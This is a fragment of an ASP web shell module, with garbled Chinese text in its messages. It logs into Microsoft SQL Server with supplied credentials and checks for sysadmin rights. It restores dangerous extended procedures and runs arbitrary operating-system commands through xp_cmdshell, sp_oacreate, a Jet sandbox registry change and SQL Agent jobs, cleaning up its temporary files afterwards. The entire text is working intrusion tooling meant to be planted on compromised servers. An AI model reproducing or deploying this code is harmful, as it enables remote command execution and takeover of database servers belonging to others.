    " end if if request("sqlaaa")="login" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & request.form("server") & "," & request.form("port") & ";password=" & request.form("pass") & ";uid=" & request.form("name") if err.number=-2147467259 then response.write "Êý¾ÝÔ´Á¬½Ó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=-2147217843 then response.write "Óû§ÃûÃÜÂë´íÎó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=0 then strquery="select @@version" set recresult = adoconn.execute(strquery) response.write "

    " if instr(recresult(0),"NT 5.0") then response.write "Windows 2000ϵͳ" session("system")="2000" elseif instr(recresult(0),"NT 5.1") then response.write "Windows xpϵͳ" session("system")="xp" elseif instr(recresult(0),"NT 5.2") then response.write "Windows 2003ϵͳ" session("system")="2003" else response.write "ÆäËü²Ù×÷ϵͳ" session("system")="no" end if strquery="select is_srvrolemember('sysadmin')" set recresult = adoconn.execute(strquery) if recresult(0)=1 then response.write "
    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " session("pri")=1 else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " session("pri")=0 end if session("login")="yes" session("name")=request.form("name") session("pass")=request.form("pass") session("server")=request.form("server") session("port")=request.form("port") response.write "" End if Elseif request("sqlaaa")="test" then if session("login")<>"" then response.write "

    " if session("system")="2000" then response.write "Windows 2000ϵͳ" elseif session("system")="xp" then response.write "Windows xpϵͳ" elseif session("system")="2003" then response.write "Windows 2003ϵͳ" else response.write "ÆäËü²Ù×÷ϵͳ" end if if session("pri")=1 then response.write "
    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'" set recresult = adoconn.execute(strquery) response.write "" if recresult(0) then session("xp_cmdshell")=1 response.write "xp_cmdshell............. ´æÔÚ!" else session("xp_cmdshell")=0 response.write "xp_cmdshell............. ²»´æÔÚ!" end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    sp_oacreate............. ´æÔÚ!" session("sp_oacreate")=1 else response.write "
    sp_oacreate............. ²»´æÔÚ!" session("sp_oacreate")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_regwrite............. ´æÔÚ!" session("xp_regwrite")=1 else response.write "
    xp_regwrite............. ²»´æÔÚ!" session("xp_regwrite")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_servicecontrol'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_servicecontrol....... ´æÔÚ!
    " session("xp_servicecontrol")=1 else response.write "
    xp_servicecontrol....... ²»´æÔÚ!
    " session("xp_servicecontrol")=0 end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="cmd" then if session("login")<>"" then if session("pri")=1 then if request("tool")="xp_cmdshell" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "exec master.dbo.xp_cmdshell '" & request.form("cmd") & "'" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " end if elseif request("tool")="sp_oacreate" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "create table [jnc](resulttxt nvarchar(1024) null);use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "&request("cmd")&" > 8617.tmp',0,true;bulk insert [jnc] from '8617.tmp' with (keepnulls);" adoconn.execute(strquery) strquery = "select * from jnc" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "drop table [jnc];declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c del 8617.tmp'" adoconn.execute(strquery) end if elseif request("tool")="xp_regwrite" then if session("system")="2000" then path="c:\winnt\system32\ias\ias.mdb" else path="c:\windows\system32\ias\ias.mdb" end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then cmd=chr(34)&"cmd.exe /c "&request.form("cmd")&" > 8617.tmp"&chr(34) strquery = "create table [jnc](resulttxt nvarchar(1024) null);exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',0;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&cmd&")');" adoconn.execute(strquery) strquery = "select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c copy 8617.tmp jnc.tmp"&chr(34)&")');bulk insert [jnc] from 'jnc.tmp' with (keepnulls);" set recresult = adoconn.execute(strquery) strquery="select * from [jnc];" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "drop table [jnc];exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c del 8617.tmp&&del jnc.tmp"&chr(34)&")');" adoconn.execute(strquery) end if elseif request("tool")="sqlserveragent" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then if session("sqlserveragent")=0 then strquery = "exec master.dbo.xp_servicecontrol 'start','sqlserveragent';" adoconn.execute(strquery) session("sqlserveragent")=1 end if strquery = "use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "&request.form("cmd")&"' exec sp_add_jobserver null,'x',@@servername exec sp_start_job 'x';" adoconn.execute(strquery) adoconn.execute(strquery) adoconn.execute(strquery) response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "use msdb drop table [jncsql];" adoconn.execute(strquery) end if elseif request("tool")="" then response.write "" end if else response.write "" end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="resume" then if session("login")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if session("xp_cmdshell")=0 then strquery="dbcc addextendedproc ('xp_cmdshell','xplog70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_cmdshell
    " elseif session("sp_oacreate")=0 then strquery="dbcc addextendedproc ('sp_oacreate','odsole70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´sp_oacreate
    " elseif session("xp_regwrite")=0 then strquery="dbcc addextendedproc ('xp_regwrite','xpstar.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_regwrite
    " elseif session("xp_servicecontrol")=0 then strquery="dbcc addextendedproc ('xp_servicecontrol','xprepl.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_servicecontrol
    " else response.write "
    ¹§Ï²£¡×é¼þÆëÈ«
    " end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="sql" then if session("login")<>"" then if request.form("sql")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery=request.form("sql") set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    " end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if end if if request("sqlaaa")="logout" then set adoconn=nothing session("login")="" session("name")="" session("pass")="" session("server")="" session("port")="" session("system")="" session("pri")="" response.write "" end if end function RRS""%>